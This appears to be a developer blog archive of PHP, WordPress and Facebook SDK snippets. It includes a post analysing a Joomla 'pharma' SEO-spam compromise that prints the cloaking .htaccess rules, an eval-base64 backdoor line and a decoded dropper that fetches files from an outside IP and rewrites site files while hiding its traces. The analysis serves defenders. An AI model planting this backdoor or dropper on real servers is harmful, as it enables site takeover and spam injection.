ChromeLogger for PHP

I recently came across this great plugin for Chrome called Chrome Logger.

http://craig.is/writing/chrome-logger

Basically, it allows you to target the developer console in Chrome from within PHP. It’s really handy for debugging live PHP sites without printing nasty var_dump()’s to the screen, or SSH’ing into a server and watching logs.

It’s really simple to use too.

In my case for PHP get the script to integrate with the plugin: 

https://github.com/ccampbell/chromephp.

Then in your code, just include the chromephp plugin:

<?php
include ABSPATH . 'ChromeLogger.php';
ChromePhp::log('Hello console!');
ChromePhp::log($_SERVER);
ChromePhp::warn('something went wrong!');

view raw
gistfile1.php
hosted with ❤ by GitHub

That’s it, then you get pretty debugging information in your console:

console

Sending vCalendar/iCal Invites with PHP and Mailgun

Update, you can use the live application here!

http://holidayhangoverhelper.ca/

=====================================

Recently I was tasked with the job of creating an application that would create and send calendar invites to a users email.

On the surface it seemed like a very simple build, send an email, attach a calendar invite. Done. Right?

Not so much, here’s the run down of how I accomplished it.

Libraries/Services used:

The first step was to get Mailgun setup and working. It was SUPER easy to get started with and start sending mail. I’m a big fan of the service because they have lots of documentation tailored per language, as well as all the fun analytics for mail deliveries, opens and bounces/errors. Very easy to see how your app is running from a mail perspective. It only started to cost us ($89/month) when we wanted to have a custom sending domain for anti-SPAM reasons.

Rather than using the native sendmail() function, using a third-party email service allows for a better guaranteed sendability and general ease of development. Mail won’t get blocked as SPAM (as much) and it will generally send mail quicker.

Mailgun does provide an API, which I used at first, but I found that with custom attachments and MIME headers, it was much easier to use it as an SMTP service in conjunction with SwiftMailer.

<?php
require_once 'swiftmailer/lib/swift_required.php';
// Create the Transport
$transport = Swift_SmtpTransport::newInstance ( 'smtp.mailgun.org', 25 )
->setUsername ( 'username@domain.com' )
->setPassword ( 'rand0mpa55' );
//Helps for sending mail locally during development
$transport->setLocalDomain ( '[127.0.0.1]' );
// Create the Mailer using your created Transport
$mailer = Swift_Mailer::newInstance ( $transport );

view raw
gistfile1.php
hosted with ❤ by GitHub

Once Swiftmailer and Mailgun were all setup, it was time to create and attach the calendar event.

This was one of the more tricky parts since most of the docs and help I found on StackOverflow was manually mashing together things together as a string, then manually setting mail MIME headers. Gross.

Eventually I did run across the Sabre VObject project (https://github.com/fruux/sabre-vobject), and things went smoothly from there.

<?php
//Using composer to get the Sabre lib
require dirname ( __FILE__ ) . '/../vendor/autoload.php';
use Sabre\VObject\Component\VCalendar;
// Create a message
$message = Swift_Message::newInstance ( 'Message Title' )
->setFrom ( array( 'address@domain.com ' => 'John Doe' ) )
->setTo ( array( $email ) )
->setSubject ( "Cool message subject" )
->setBody ( $body )
->setContentType ( 'text/html' );
//Set the 'from' to something a bit nicer
$from = $message->getHeaders ()->get ( 'From' );
$from->setNameAddresses ( array(
'address@domain.com ' => 'John Doe',
) );
$headers = $message->getHeaders ();
//Add text header for Mailgun campaign tracking
$headers->addTextHeader ( 'X-Mailgun-Campaign-Id', '[mailgun-campaign-id]]' );
//Create calendar invite with Sabre VOject lib
$cal = new VCalendar();
//Create a meeting invite that lasts 2 hours on the same day
$vevent = $cal->add ( 'VEVENT', array(
'summary' => $subject,
'location' => 'Meeting room 1',
'dtstart' => new DateTime( $mtg_date . ' 09:00:00', new \DateTimeZone( 'America/Toronto' ) ),
'dtend' => new DateTime( $mtg_date . ' 11:00:00', new \DateTimeZone( 'America/Toronto' ) ),
'method' => 'REQUEST'
) );
//Make ical
$data = $cal->serialize ();
$filename = "invite.ics";
//Attach the calendar invite to the mail
$attachment = Swift_Attachment::newInstance ()
->setFilename ( $filename )
->setContentType ( 'text/calendar' )
->setBody ( $data );
$message->attach ( $attachment );
$result = $mailer->send ( $message );

view raw
gistfile1.php
hosted with ❤ by GitHub

And that’s pretty much it. Works well and tested accross multiple mail clients.

How to restrict access to wp-admin by IP Address

One of the easiest and quickest way to protect your WordPress admin is to use an .htaccess file to restrict access to a certain IP. To do this use the following code:

In your /wp-admin folder, add an .htaccess file with the following in it:

Order deny,allow
Deny from all
Allow from xx.xx.xx.xx
#range would be
#Allow from xx.xx.xx.0/24
<Files admin-ajax.php>
Order allow,deny
Allow from all
Satisfy any
</Files>

view raw
gistfile1.apacheconf
hosted with ❤ by GitHub

Obviously, replace xx.xx.xx.xx with your current IP address.

The <Files admin-ajax.php> block allows access to the WP ajax hooks that are contained within the wp-admin folder. This rule allows access to this file.

To do the same to the wp-login.php file (which is the gateway to wp-admin), use the following code in the .htaccess file in the root of your site:

<Files wp-login.php>
Order deny,allow
Deny from all
Allow from xx.xx.xx.0/24
#Another IP
Allow from xx.xx.xx.xx
</Files>

view raw
gistfile1.apacheconf
hosted with ❤ by GitHub

Facebook JS SDK API – Post Image to Feed

Here’s a little snippet that will post an image to a user’s feed. It’s pretty handy as it shows all the components of using the Facebook Javascript SDK to post to the Facebook API.

function share_image(img_url, text) {
//Check to see if the user has authenticated the App.
FB.getLoginStatus(function(response) {
if (response.status === 'connected') {
//If you want the user's Facebook ID or their access token, this is how you get them.
var uid = response.authResponse.userID;
var access_token = response.authResponse.accessToken;
do_api_share(access_token, img_url, text);
} else {
//If they haven't, call the FB.login method
FB.login(function(response) {
if (response.authResponse) {
//If you want the user's Facebook ID or their access token, this is how you get them.
var uid = response.authResponse.userID;
var access_token = response.authResponse.accessToken;
do_api_share(access_token, img_url, text);
} else {
alert("You must install the application to share your greeting.");
}
}, {scope: 'publish_stream'});
}
});
}
function do_api_share(at, img_url, text) {
FB.api("/me/photos", 'post', { message: text, url: img_url}, function(response) {
console.log(response);
});
}
//Calling the function
share_img("http://example.com/images/image-one.jpg&quot;, "Hi there!");

view raw
gistfile1.js
hosted with ❤ by GitHub

Facebook Set Auto Grow – A version that actually works

Edit October 25th, 2013

This is some updated code that I’ve found recently that works a bit better.

//The 100 value can be anything, Facebook will detect the height of the body element
FB.Canvas.setSize({height:100});

view raw
gistfile1.js
hosted with ❤ by GitHub

It can be triggered on load, or on an event. Theres no need for the setTimeout()… code any longer.


One the hard things about Facebook App development is debugging weird Facebook API issues.

One of them is the inconsistent use of the FB.Canvas Javascript methods. Particularly FB.Canvas.setAutoGrow and FB.Canvas.setSize. The documentation explains that (either or both?) can be used ad hoc to resize the app iframe. Well that’s not exactly the case, as neither work when called after the initial page load.

Although hacky, this solution actually works.

<div id="fb-root"></div>
<script type="text/javascript" src="//connect.facebook.net/en_US/all.js"></script>
<script type="text/javascript">
FB.init({
appId: 'APPID', // App ID
channelUrl: '//example.com/channel.html', // Channel File
status: true,
cookie: true,
xfbml: true
});
FB.Canvas.setSize({height: 1200});
setTimeout("FB.Canvas.setAutoGrow()", 500);
</script>

view raw
gistfile1.phtml
hosted with ❤ by GitHub

Joomla ‘Pharma’ Hack

One of the more CSI type things I get to do in my job is figure out how servers are compromised. Last week I was tasked with figuring out why a site was listing Pharmaceuticals in Google results.

I’ve dealt alot with hacked and compromised servers, but have never come across one that only affected search results.

Basically, 3 modified files kept appearing on the server, a modified .htaccess file in the root, common.php and coockies.txt.

What we discovered was the following in the .htaccess file:

# Apache search queries statistic module
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond %{DOCUMENT_ROOT}/common.php -f
RewriteRule ^.*$ /common.php [L]
</IfModule>

What this means is that any search bot will get redirected through common.php. This file had a bunch of base_64 encoded PHP that modified page meta descriptions and titles. This is outlined pretty well here: http://redleg-redleg.blogspot.ca/2011/02/pharmacy-hack.html.

However, we deleted these files and modified the .htaccess file back to it’s original state, but the files kept coming back. So the big question was how?

I did a search through the Joomla source for base64_encode/decode and found a ton of files. Most of them were part of modules or core, but I did find a few that looked a little odd. For example:

/**GnPvQdChUa*/if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434") && isset($_REQUEST["mod_content"])) { /**LsWvRlYzUw*/eval(base64_decode($_REQUEST["mod_content"])); /**SeDuMsFkMx*/exit();/**BoJeXkTwXa*/ }

Basically what this does is run whatever is passed in the $_REQUEST[“mod_content”] variable. Pretty nasty since it means that any base64_encoded string will be run as is.

At 6:22 on a sunny Saturday morning, I got a notification from one of my monitoring scripts that common.php, that attack file, was back! I checked the logs and sure enough, here is what the request was:

/components/com_users/users.php?img_id=1f3870be274f6c49b3e31a0c6728957f&mod_content=aWYgKGV4dGVuc2lvbl9sb2FkZWQoImN1cmwiKSl7JGNo yadda yadda base64 encoded string.

That param decodes to a lovely PHP script:


if ( extension_loaded( "curl" ) ) {
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/door.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $door = curl_exec( $ch );
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/include_code_temp.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $inc_code = curl_exec( $ch );
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/include_code_temp2.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $inc_ht = curl_exec( $ch );
 } else {
 $door = @file_get_contents( "http://209.190.20.51/door.txt" );
 $inc_code = @file_get_contents( "http://209.190.20.51/include_code_temp.txt" );
 $inc_ht = @file_get_contents( "http://209.190.20.51/include_code_temp2.txt" );
 }if ( is_file( "/home/user/public_html/index.html" ) ) {
 $index = "/home/user/public_html/index.html";
 }if ( is_file( "/home/user/public_html/index.htm" ) ) {
 $index = "/home/user/public_html/index.htm";
 }if ( is_file( "/home/user/public_html/.htaccess" ) ) {
 $index = "/home/user/public_html/.htaccess";
 }if ( is_file( "/home/user/public_html/favicon.ico" ) ) {
 $index = "/home/user/public_html/favicon.ico";
 }if ( is_file( "/home/user/public_html/index.php" ) ) {
 $index = "/home/user/public_html/index.php";
 }if ( is_file( "/home/user/public_html/common.php" ) ) {
 $index = "/home/user/public_html/common.php";
 }$time = filemtime( $index );
 $chmod = substr( sprintf( "%o", fileperms( $index ) ), -4 );
 $chmod = trim( $chmod );
 $chmod = intval( $chmod, 8 );
 @unlink( "/home/user/public_html/common.php" );
 $fp = fopen( "/home/user/public_html/common.php", "w" );
 fputs( $fp, $door );
 fclose( $fp );
 @chmod( "/home/user/public_html/common.php", $chmod );
 touch( "/home/user/public_html/common.php", $time );
 $htaccess = str_replace( "#####INCLUDE#####", $inc_ht, $inc_code );
 @unlink( "/home/user/public_html/.htaccess" );
 $fp = fopen( "/home/user/public_html/.htaccess", "w" );
 fputs( $fp, $htaccess );
 fclose( $fp );
 @chmod( "/home/user/public_html/.htaccess", $chmod );
 touch( "/home/user/public_html/.htaccess", $time );
 

This little script is what recreates all the spammy files.

So there it is, a URL param that run’s CURL requests to setup spam files on a server.

Wanted to record this so that anyone else having this issue has somewhere to look.

TTFN.

WordPress pagination on custom posts

Something I just came across in the WordPress.org forums that I thought would share as it definitely helped me (http://wordpress.org/support/topic/pagination-on-singlephp-causing-301-redirect?replies=9).

Let’s say you’ve created a new custom post type, let’s say it’s called ‘fancy-post’. If you want a custom template for all the posts in the custom type, all you need to do is create a file in your theme called single-{post-type}.php. So in our case it’s single-fancy-post.php.

This works because WordPress knows too look in the theme for certain template files, as according to the Template Heirarchy.

However, one thing I came across was that if you have a listing of other posts on a custom post, and you want to paginate things, it aint going to work. At least not without a little extra work.

WordPress handles links internally using a bunch of methods, but the one that was catching me up was the redirect_canonical method in wp-includes/canonical.php. Basically this giant function handles redirects within WordPress and tries to find the correct post/page depending on the url given.

However, if you’ve got a custom post type, and you want to paginate, you have to override some of it’s behaviour. This is because there is code in this function that checks for singular posts, but not for custom posts. All custom posts get treated like regular posts, and the page/num behaviour get’s overridden as a result.

Anyway, basically this function is overriding the default pagination of WordPress but redirecting back to the first page.

To override this, you just need to tie into the ‘redirect_canonical’ hook and override it for your post type:

Credit to whatadewitt on the forums, http://wordpress.org/support/profile/whatadewitt


add_filter('redirect_canonical','my_disable_redirect_canonical');

function my_disable_redirect_canonical( $redirect_url ) {
    if ( is_singular( 'fancy-post' ) )
	$redirect_url = false;
    return $redirect_url;
}

WP Register – PHP registry for WordPress development

One of the things I think could be improved in alot of PHP code is the use of global level variables. While it’s not ideal to use a global system for variables, sometimes it’s necessary for reporting error messages or storing data for use elsewhere in an application

While the $_SESSION can be used, I’m a fan of taking the OO approach and relying on the magic _get and _set methods in PHP 5.

Anway, below is the plugin code for setting up a simple PHP 5 registry

class WP_Registry {

/* Where everything is stored */
private static $_arrRegistry = array( );

public function __construct() {

}

/**
* Set Magic Method
*
* Sets data to the registry
*
* @param string $name
* @param mixed $value
*/
final public function __set( $name, $value ) {
self::set( $name, $value );
}

/**
* Get Magic Method
*
* Gets from the registry
*
* @param string $name
* @return mixed
*/
final public function __get( $name ) {
return self::get( $name );
}

/**
* Set
*
* Sets to the registry
*
* @param string $name
* @param mixed $value
*/
final public static function set( $name, $value ) {
self::$_arrRegistry[$name] = $value;
}

/**
* Get
*
* Gets from the registry
*
* @param string $name
* @return mixed
*/
final public static function get( $name ) {
if ( array_key_exists( $name, self::$_arrRegistry ) ) {
return self::$_arrRegistry[$name];
} else {
return false;
}
}

/**
* Delete
*
* Deletes item from the registry
*
* @param string $name
* @return void
*/
final public static function delete( $name ) {
unset( self::$_arrRegistry[$name] );
}

/**
* Get All
*
* Gets everything set to the registry. Mainly
* a debugging thing more than anything
*
* @return array
*/
final public static function getAll() {
return self::$_arrRegistry;
}

}



To implement the Registry simple:


WP_Registry::set( 'some_key', $some_value );

And to get the item from the registry:


WP_Registry::get( 'some_key' );

To delete something from the registry:


WP_Registry::delete( 'some_key' );

That’s really it. Super simple but super handy if you’re trying to log a bunch items/variables in memory.

Credit to Simon Emms for the initial code (http://www.simonemms.com/2011/02/08/codeigniter-registry/)

TTFN

WordPress migration SQL Update

Ever have to move a WordPress site to another server? I know I have. This little SQL script makes the migration just a little bit easier.

Step 1: Replace the occurrences of ‘http://example1.ca/site&#8217; with the URL you’re trying to replace.
Step 2: Replace ‘http://example2.ca/site&#8217; with the new URL
Step 3: Run the script in something like PHPMyadmin
Step 4: Have a coffee, you’re done.


UPDATE wp_options
SET option_value = replace(option_value, 'http://example1.ca/site', 'http://example2.ca/site')
WHERE option_name = 'home' OR option_name = 'siteurl';

UPDATE wp_posts
SET guid = replace(guid, 'http://example1.ca/site','http://example2.ca/site');

UPDATE wp_posts
SET post_content = replace(post_content, 'http://example1.ca/site', 'http://example2.ca/site');

UPDATE wp_postmeta
SET meta_value = replace(meta_value, 'http://example1.ca/site', 'http://example2.ca/site');